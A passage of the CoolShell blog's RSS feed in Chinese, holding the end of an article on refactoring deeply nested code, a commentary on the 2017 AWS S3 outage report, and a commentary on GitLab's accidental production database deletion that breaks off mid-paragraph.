30px;\">4）像语法分析那样的状态变化。</p>\n<p>对于这些复杂的状态变化，其本上来说，你需要先定义一个状态机，或是一个子状态的组合状态的查询表，或是一个状态查询分析树。</p>\n<p><strong>写代码时，代码的运行中的控制状态或业务状态是会让你的代码流程变得混乱的一个重要原因，重构“箭头型”代码的一个很重要的工作就是重新梳理和描述这些状态的变迁关系</strong>。</p>\n<h4>总结</h4>\n<p>好了，下面总结一下，把“箭头型”代码重构掉的几个手段如下：</p>\n<p>1）<strong>使用 Guard Clauses </strong>。 尽可能的让出错的先返回， 这样后面就会得到干净的代码。</p>\n<p>2）<strong>把条件中的语句块抽取成函数</strong>。 有人说：“如果代码不共享，就不要抽取成函数！”，持有这个观点的人太死读书了。函数是代码的封装或是抽象，并不一定用来作代码共享使用，函数用于屏蔽细节，让其它代码耦合于接口而不是细节实现，这会让我们的代码更为简单，简单的东西都能让人易读也易维护，<strong>写出让人易读易维护的代码才是重构代码的初衷</strong>！</p>\n<p>3）<strong>对于出错处理，使用try-catch异常处理和<a href=\"http://stackoverflow.com/questions/2321511/what-is-meant-by-resource-acquisition-is-initialization-raii\" target=\"_blank\" rel=\"noopener noreferrer\">RAII机制</a></strong>。返回码的出错处理有很多问题，比如：A) 返回码可以被忽略，B) 出错处理的代码和正常处理的代码混在一起，C) 造成函数接口污染，比如像atoi()这种错误码和返回值共用的糟糕的函数。</p>\n<p>4）<strong>对于多个状态的判断和组合，如果复杂了，可以使用“组合状态表”，或是状态机加Observer的状态订阅的设计模式</strong>。这样的代码即解了耦，也干净简单，同样有很强的扩展性。</p>\n<p>5） <strong>重构“箭头型”代码其实是在帮你重新梳理所有的代码和逻辑，这个过程非常值得为之付出</strong>。重新整思路去想尽一切办法简化代码的过程本身就可以让人成长。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" alt=\"50年前的登月程序和程序员有多硬核\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_title\">50年前的登月程序和程序员有多硬核</a></li><li ><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/06/go-hardhat-150x150.png\" alt=\"Go编程模式：修饰器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_title\">Go编程模式：修饰器</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11656.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/06/software_development-150x150.png\" alt=\"开发团队的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11656.html\" class=\"wp_rp_title\">开发团队的效率</a></li><li ><a href=\"https://coolshell.cn/articles/11432.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/code_review-150x150.jpg\" alt=\"从Code Review 谈如何做技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11432.html\" class=\"wp_rp_title\">从Code Review 谈如何做技术</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17757.html\">如何重构“箭头型”代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17757.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>56</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>AWS 的 S3 故障回顾和思考</title>\n\t\t<link>https://coolshell.cn/articles/17737.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17737.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 03 Mar 2017 06:20:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Amazon S3]]></category>\n\t\t<category><![CDATA[AWS]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[High Availability]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17737</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>继Gitlab的误删除数据事件没几天，“不沉航母” AWS S3 （Simple Storage Service）几天前也“沉”了4个小时，墙外的半个互联网也跟...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17737.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17737.html\">AWS 的 S3 故障回顾和思考</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-17738\" src=\"https://coolshell.cn/wp-content/uploads/2017/03/Amazon-Web-Services-Down.png\" width=\"360\" height=\"197\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/03/Amazon-Web-Services-Down.png 553w, https://coolshell.cn/wp-content/uploads/2017/03/Amazon-Web-Services-Down-300x164.png 300w, https://coolshell.cn/wp-content/uploads/2017/03/Amazon-Web-Services-Down-494x270.png 494w\" sizes=\"(max-width: 360px) 100vw, 360px\" />继<a href=\"https://coolshell.cn/articles/17680.html\" target=\"_blank\">Gitlab的误删除数据事件</a>没几天，“不沉航母” AWS S3 （Simple Storage Service）几天前也“沉”了4个小时，墙外的半个互联网也跟着挂了。如约，按 AWS 惯例，AWS今天给出了一个简单的故障报告《<span class=\"s1\"><a href=\"https://aws.amazon.com/cn/message/41926/\" target=\"_blank\">Summary of the Amazon S3 Service Disruption in the Northern Virginia (US-EAST-1) Region</a>》。这个故障和简单来说和Gitlab一样，也是人员误操作。先简单的说一下这份报中说了什么。</span></p>\n<h4>故障原因</h4>\n<p>简单来说，这天，有一个 AWS 工程师在调查 <span class=\"s1\">Northern Virginia (US-EAST-1) Region 上 S3 的一个和账务系统相关的问题，这个问题是S3的账务系统变慢了（我估计这个故障在Amazon里可能是Sev2级，Sev2级的故障在Amazon算是比较大的故障，需要很快解决），Oncall的开发工程师（注：Amazon的运维都是由开发工程师来干的，所以Amazon内部嬉称SDE-Software Developer Engineer 为 Someone Do Everything）想移除一个账务系统里的一个子系统下的一些少量的服务器（估计这些服务器上有问题，所以想移掉后重新部署），结果呢，有一条命令搞错了，导致了移除了大量的S3的控制系统。包括两个很重要的子系统：</span></p>\n<p><span id=\"more-17737\"></span></p>\n<p style=\"padding-left: 30px;\">1）<strong>一个是S3的对象索引服务（Index）</strong>，其中存储了S3对象的metadata和位置信息。这个服务也提供了所有的 GET，LIST，PUT 和DELETE请求。</p>\n<p style=\"padding-left: 30px;\">2）<strong>一个是S3的位置服务系统（Placement）</strong>，这个服务提供对象的存储位置和索引服务的系统。这个系统主要是用于处理PUT新对象请求。</p>\n<p>这就是为什么S3不可访问的原因。</p>\n<p>在后面，AWS也说明了一下故障恢复的过程，其中重点提到了这点——</p>\n<p style=\"padding-left: 30px;\">虽然整个S3的是做过充分的故障设计的（注：AWS的七大Design Principle 之一 Design for Failure）—— 就算是最核心的组件或服务出问题了，系统也能恢复。但是，可能是在过去的日子里 S3 太稳定了，所以，AWS 在很长很长一段时间内都没有重启过 S3 的核心服务，而过去这几年，S3 的数据对象存储级数级的成长（S3存了什么样数量级的对象，因为在Amazon工作过，所以多大概知道是个什么数量级，这里不能说，不过，老实说，很惊人的），所以，这两个核心服务在启动时要重建并校验对象索引元数据的完整性，这个过程没想到花了这么长的时候。而Placement服务系统依赖于Index 服务，所以花了更长的时间。</p>\n<p>了解过系统底层的技术人员应该都知道这两个服务有多重要，简而言之，这两个系统就像是Unix/Linux文件系统中的inode，或是像HDFS里的node name，如果这些元数据丢失，那么，用户的所有数据基本上来说就等于全丢了。</p>\n<p>而要恢复索引系统，就像你的操作系统从异常关机后启动，文件系统要做系统自检那样，硬盘越大，文件越多，这个过程就越慢。</p>\n<p>另外，这次，AWS没有使用像以前那样 Outage 的故障名称，用的是 “Increased Error Rate” 这样的东西。我估计是没有把所有这两个服务删除完，估计有些用户是可以用的，有的用户是则不行了。</p>\n<h4>后续改进</h4>\n<p>在这篇故障简报中，AWS 也提到了下面的这些改进措施——</p>\n<p>1）<strong>改进运维操作工具</strong>。对于此次故障的运维工具，有下面改进：</p>\n<ul>\n<li><strong>让删除服务这个操作变慢一些</strong>（陈皓注：这样错了也可以有时间反悔，相对于一个大规模的分布式系统，这招还是很不错的，至少在系统报警时有也可以挽救）</li>\n</ul>\n<ul>\n<li><strong>加上一个最小资源数限制的SafeGuard</strong>（陈皓注：就是说，任何服务在运行时都应该有一个最小资源数，分布式集群控制系统会强行维护服务正常运行的最小的一个资源数）</li>\n</ul>\n<ul>\n<li>举一反三，Review所有和其它的运维工具，保证他们也相关的检查。</li>\n</ul>\n<p>2）<strong>改进恢复过程。</strong>对于恢复时间过长的问题，有如下改进：</p>\n<ul>\n<li><strong>分解现有厚重的重要服务成更小的单元</strong>（在 AWS，Service是大服务，小服务被称之为 Cell），AWS 会把这几个重要的服务重构成 Cell服务。（陈皓注：这应该就是所谓的“微服务”了吧）。这样，服务粒度变小，重启也会快一些，而且还可以减少故障面（原文：blast radius &#8211; 爆炸半径）</li>\n</ul>\n<ul>\n<li><strong>今年内完成对 Index 索引服务的分区计划</strong>。</li>\n</ul>\n<p>&nbsp;</p>\n<h4>相关思考</h4>\n<p>下面是我对这一故障的相关思考——</p>\n<p>0）<strong>太喜欢像Gitlab和AWS这样的故障公开了</strong>，那怕是一个自己人为的低级错误。不掩盖，不文过饰非，透明且诚恳。Cool!</p>\n<p>1）这次事件，还好没有丢失这么重要的数据，不然的话，将是灾难性的。</p>\n<p>2）另外，面对在 US-EASE-1 这个老牌 Region 上的海量的对象，而且能在几个小时内恢复，很不容易了。</p>\n<p>3）这个事件，再次映证了我在《<a href=\"https://coolshell.cn/articles/17459.html\">关于高可用的系统</a>》中提到的观点：<strong>一个系统的高可用的因素很多，不仅仅只是系统架构，更重要的是——高可用运维</strong>。</p>\n<p>4）<strong>对于高可用的运维，平时的故障演习是很重要的。</strong>AWS 平时应该没有相应的故障演习，所以导致要么长期不出故障，一出就出个大的让你措手不及。这点，Facebook就好一些，他们每个季度扔个骰子，随机关掉一个IDC一天。Netflix 也有相关的 Chaos Monkey，我以前在的路透每年也会做一次大规模的故障演练——灾难演习。</p>\n<p>5）AWS对于后续的改进可以看出他的技术范儿。可以看到其改进方案是用技术让自己的系统更为的高可用。然后，对比国内的公司对于这样的故障，基本上会是下面这样的画风：</p>\n<p style=\"padding-left: 30px;\">a）加上更多更为严格的变更和审批流程，</p>\n<p style=\"padding-left: 30px;\">b）使用限制更多的权限系统和审批系统</p>\n<p style=\"padding-left: 30px;\">c）使用更多的人来干活（一个人干事，另一个人在旁边看）</p>\n<p style=\"padding-left: 30px;\">d）使用更为厚重的测试和发布过程</p>\n<p style=\"padding-left: 30px;\">e）惩罚故障人，用价值观教育工程师。</p>\n<p>这还是我老生长谈的那句话——<strong>如果你是一个技术公司，你就会更多的相信技术而不是管理。相信技术会用技术来解决问题，相信管理，那就只会有制度、流程和价值观来解决问题</strong>。（注意：这里我并没有隔离技术和管理，只是更为倾向于用技术解决问题）</p>\n<p><strong>最后，你是要建一个 “高可用的技术系统” ，还是一个 “高用的管理系统”？ ;-)</strong></p>\n<p>（全文完）</p>\n<p>&nbsp;<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-150x150.jpg\" alt=\"从Gitlab误删除数据库想到的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17680.html\" class=\"wp_rp_title\">从Gitlab误删除数据库想到的</a></li><li ><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/08/HighAvailability-BK-150x150.png\" alt=\"关于高可用的系统\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17459.html\" class=\"wp_rp_title\">关于高可用的系统</a></li><li ><a href=\"https://coolshell.cn/articles/22422.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/05/monolith.microservices-150x150.png\" alt=\"是微服务架构不香还是云不香？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22422.html\" class=\"wp_rp_title\">是微服务架构不香还是云不香？</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17737.html\">AWS 的 S3 故障回顾和思考</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17737.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>56</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>从Gitlab误删除数据库想到的</title>\n\t\t<link>https://coolshell.cn/articles/17680.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17680.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 02 Feb 2017 08:11:28 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[Gitlab]]></category>\n\t\t<category><![CDATA[High Availability]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[分布式]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17680</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>昨天，Gitlab.com发生了一个大事，某同学误删了数据库，这个事看似是个低级错误，不过，因为Gitlab把整个过程的细节都全部暴露出来了，所以，可以看到很多...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17680.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17680.html\">从Gitlab误删除数据库想到的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-17685\" src=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600.jpg\" width=\"300\" height=\"215\" srcset=\"https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600.jpg 439w, https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-300x215.jpg 300w, https://coolshell.cn/wp-content/uploads/2017/02/gitlab-600-377x270.jpg 377w\" sizes=\"(max-width: 300px) 100vw, 300px\" />昨天，Gitlab.com发生了一个大事，某同学误删了数据库，这个事看似是个低级错误，不过，因为Gitlab把整个过程的细节都全部暴露出来了，所以，可以看到很多东西，而对于类似这样的事情，我自己以前也干过，而在最近的两公司中我也见过（Amazon中见过一次，阿里中见过至少四次），正好通过这个事来说说一下自己的一些感想和观点吧。<strong>我先放个观点：你觉得有备份系统就不会丢数据了吗？</strong></p>\n<h4>事件回顾</h4>\n<p>整个事件的回顾Gitlab.com在第一时间就放到了<a href=\"https://docs.google.com/document/d/1GCK53YDcBWQveod9kfzW-VCxIABGiryG7_z_6jHdVik/pub\" target=\"_blank\">Google Doc上</a>，事后，又发了<a href=\"https://about.gitlab.com/2017/02/01/gitlab-dot-com-database-incident/\" target=\"_blank\">一篇Blog</a>来说明这个事，在这里，我简单的回顾一下这个事件的过程。</p>\n<p>首先，一个叫YP的同学在给gitlab的线上数据库做一些负载均衡的工作，在做这个工作时的时候突发了一个情况，Gitlab被DDoS攻击，数据库的使用飙高，在block完攻击者的IP后，发现有个staging的数据库(db2.staging)已经落后生产库4GB的数据，于是YP同学在Fix这个staging库的同步问题的时候，发现db2.staging有各种问题都和主库无法同步，在这个时候，YP同学已经工作的很晚了，在尝试过多个方法后，发现db2.staging都hang在那里，无法同步，于是他想把db2.staging的数据库删除了，这样全新启动一个新的复制，结果呢，删除数据库的命令错误的敲在了生产环境上（db1.cluster），结果导致整个生产数据库被误删除。（<strong>陈皓注：这个失败基本上就是 “工作时间过长” + “在多数终端窗口中切换中迷失掉了”</strong>）</p>\n<p><span id=\"more-17680\"></span></p>\n<p>在恢复的过程中，他们发现只有db1.staging的数据库可以用于恢复，而其它的5种备份机制都不可用，第一个是数据库的同步，没有同步webhook，第二个是对硬盘的快照，没有对数据库做，第三个是用pg_dump的备份，发现版本不对（用9.2的版本去dump 9.6的数据）导致没有dump出数据，第四个S3的备份，完全没有备份上，第五个是相关的备份流程是问题百出的，只有几个粗糙的人肉的脚本和糟糕的文档，也就是说，不但是是人肉的，而且还是完全不可执行的。（<strong>陈皓注：就算是这些备份机制都work，其实也有问题，因为这些备份大多数基本上都是24小时干一次，所以，要从这些备份恢复也一定是是要丢数据的了，只有第一个数据库同步才会实时一些</strong>）</p>\n<p>最终，gitlab从db1.staging上把6个小时前的数据copy回来，结果发现速度非常的慢，备份结点只有60Mbits/S，拷了很长时间（<strong>陈皓注：为什么不把db1.staging给直接变成生产机？因为那台机器的性能很差</strong>）。数据现在的恢复了，不过，因为恢复的数据是6小时前的，所以，有如下的数据丢失掉了：</p>\n<ul class=\"ul1\">\n<li class=\"li1\"><span class=\"s2\">粗略估计，有4613 的项目， 74 forks,  和 350 imports 丢失了；但是，因为Git仓库还在，所以，可以从Git仓库反向推导数据库中的数据，但是，项目中的issues等就完全丢失了。</span></li>\n<li class=\"li1\"><span class=\"s2\">大约有±4979 提交记录丢失了（陈皓注：估计也可以用git仓库中反向恢复）。</span></li>\n<li class=\"li1\"><span class=\"s2\">可能有 707  用户丢失了，这个数据来自Kibana的日志。</span></li>\n<li class=\"li2\"><span class=\"s4\">在1月31日17:20 后的Webhooks 丢失了。</span></li>\n</ul>\n<p>因为Gitlab把整个事件的细节公开了出来，所以，也得到了很多外部的帮助，2nd Quadrant的CTO &#8211; <span class=\"s1\"><a href=\"https://www.linkedin.com/in/simonat2ndquadrantdotcom\" target=\"_blank\">Simon Riggs</a> 在他的blog上也发布文章 <a href=\"http://blog.2ndquadrant.com/dataloss-at-gitlab/\" target=\"_blank\">Dataloss at Gitlab </a>给了一些非常不错的建议：</span></p>\n<ul>\n<li>关于PostgreSQL 9.6的数据同步hang住的问题，可能有一些Bug，正在fix中。</li>\n<li>PostgreSQL有4GB的同步滞后是正常的，这不是什么问题。</li>\n<li>正常的停止从结点，会让主结点自动释放WALSender的链接数，所以，不应该重新配置主结点的 max_wal_senders 参数。但是，停止从结点时，主结点的复数连接数不会很快的被释放，而新启动的从结点又会消耗更多的链接数。他认为，Gitlab配置的32个链接数太高了，通常来说，2到4个就足够了。</li>\n<li>另外，之前gitlab配置的max_connections=8000太高了，现在降到2000个是合理的。</li>\n<li>pg_basebackup 会先在主结点上建一个checkpoint，然后再开始同步，这个过程大约需要4分钟。</li>\n<li>手动的删除数据库目录是非常危险的操作，这个事应该交给程序来做。推荐使用刚release 的 <a href=\"https://www.2ndquadrant.com/en/resources/repmgr/\" target=\"_blank\">repmgr</a></li>\n<li>恢复备份也是非常重要的，所以，也应该用相应的程序来做。推荐使用 <a href=\"https://www.2ndquadrant.com/en/resources/barman/\" target=\"_blank\">barman</a> （其支持S3）</li>\n<li>测试备份和恢复是一个很重要的过程。</li>\n</ul>\n<p>看这个样子，估计也有一定的原因是——Gitlab的同学对PostgreSQL不是很熟悉。</p>\n<p>随后，Gitlab在其网站上也开了一系列的issues，其issues列表在这里 <a href=\"https://gitlab.com/gitlab-com/www-gitlab-com/issues/1108\" target=\"_blank\">Write post-mortem</a> (这个列表可能还会在不断更新中)</p>\n<ul class=\"ul1\">\n<li class=\"li1\"><span class=\"s1\"><span class=\"s2\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1094\">infrastructure#1094</a> &#8211; Update PS1 across all hosts to more clearly differentiate between hosts and environments</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1095\">infrastructure#1095</a> &#8211; Prometheus monitoring for backups</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1096\">infrastructure#1096</a> &#8211; Set PostgreSQL&#8217;s max_connections to a sane value</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1097\">infrastructure#1097</a> &#8211; Investigate Point in time recovery &amp; continuous archiving for PostgreSQL</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1098\">infrastructure#1098</a> &#8211; Hourly LVM snapshots of the production databases</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1099\">infrastructure#1099</a> &#8211; Azure disk snapshots of production databases</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1100\">infrastructure#1100</a> &#8211; Move staging to the ARM environment</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1101\">infrastructure#1101</a> &#8211; Recover production replica(s)</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1102\">infrastructure#1102</a> &#8211; Automated testing of recovering PostgreSQL database backups</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1103\">infrastructure#1103</a> &#8211; Improve PostgreSQL replication documentation/runbooks</span></span></li>\n<li class=\"li1\"><span class=\"s3\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1104\">infrastructure#1104</a> &#8211; Kick out SSH users inactive for N minutes</span></span></li>\n<li class=\"li2\"><span class=\"s5\"><span class=\"s4\"><a href=\"https://gitlab.com/gitlab-com/infrastructure/issues/1105\">infrastructure#1105</a> &#8211; Investigate pgbarman for creating PostgreSQL backups</span></span></li>\n</ul>\n<p>从上面的这个列表中，我们可以看到一些改进措施了。挺好的，不过我觉得还不是很够。</p>\n<h4>相关的思考</h4>\n<p>因为类似这样的事，我以前也干过（误删除过数据库，在多个终端窗口中迷失掉了自己所操作的机器……），而且我在amazon里也见过一次，在阿里内至少见过四次以上（在阿里人肉运维的误操作的事故是我见过最多的），但是我无法在这里公开分享，私下可以分享。在这里，我只想从非技术和技术两个方面分享一下我的经验和认识。</p>\n<h5>技术方面</h5>\n<p><strong>人肉运维</strong></p>\n<p>一直以来，我都觉得直接到生产线上敲命令是一种非常不好的习惯。我认为，<strong>一个公司的运维能力的强弱和你上线上环境敲命令是有关的，你越是喜欢上线敲命令你的运维能力就越弱，越是通过自动化来处理问题，你的运维能力就越强</strong>。理由如下：</p>\n<p style=\"padding-left: 30px;\">其一，如果说对代码的改动都是一次发布的话，那么，对生产环境的任何改动（包括硬件、操作系统、网络、软件配置……），也都算是一次发布。那么这样的发布就应该走发布系统和发布流程，要被很好的测试、上线和回滚计划。关键是，走发布过程是可以被记录、追踪和回溯的，而在线上敲命令是完全无法追踪的。没人知道你敲了什么命令。</p>\n<p style=\"padding-left: 30px;\">其二，真正良性的运维能力是——人管代码，代码管机器，而不是人管机器。你敲了什么命令没人知道，但是你写个工具做变更线上系统，这个工具干了什么事，看看工具的源码就知道了。</p>\n<p>另外、有人说，以后不要用rm了，要用mv，还有人说，以后干这样的事时，一个人干，另一个人在旁边看，还有人说，要有一个checklist的强制流程做线上的变更，还有人说要增加一个权限系统。我觉得，这些虽然可以work，但是依然不好，再由如下：</p>\n<p style=\"padding-left: 30px;\">其一、如果要解决一个事情需要加更多的人来做的事，那这事就做成劳动密集型了。今天我们的科技就是在努力消除人力成本，而不是在增加人力成本。而做为一个技术人员，解决问题的最好方式是努力使用技术手段，而不是使用更多的人肉手段。<strong>人类区别于动物的差别就是会发明和使用现代化的工具，而不是使用更多的人力</strong>。另外，<strong>这不仅仅因为是，人都是会有这样或那样的问题（疲惫、情绪化、急燥、冲动……），而机器是单一无脑不知疲惫的，更是因为，机器干活的效率和速度是比人肉高出N多倍的</strong>。</p>\n<p style=\"padding-left: 30px;\">其二、增加一个权限系统或是别的一个watch dog的系统完全是在开倒车，权限系统中的权限谁来维护和审批？不仅仅是因为多出来的系统需要多出来的维护，关键是这个事就没有把问题解决在root上。除了为社会解决就业问题，别无好处，故障依然会发生，有权限的人一样会误操作。对于Gitlab这个问题，正如2nd Quadrant的CTO建议的那样，你需要的是一个自动化的备份和恢复的工具，而不是一个权限系统。</p>\n<p style=\"padding-left: 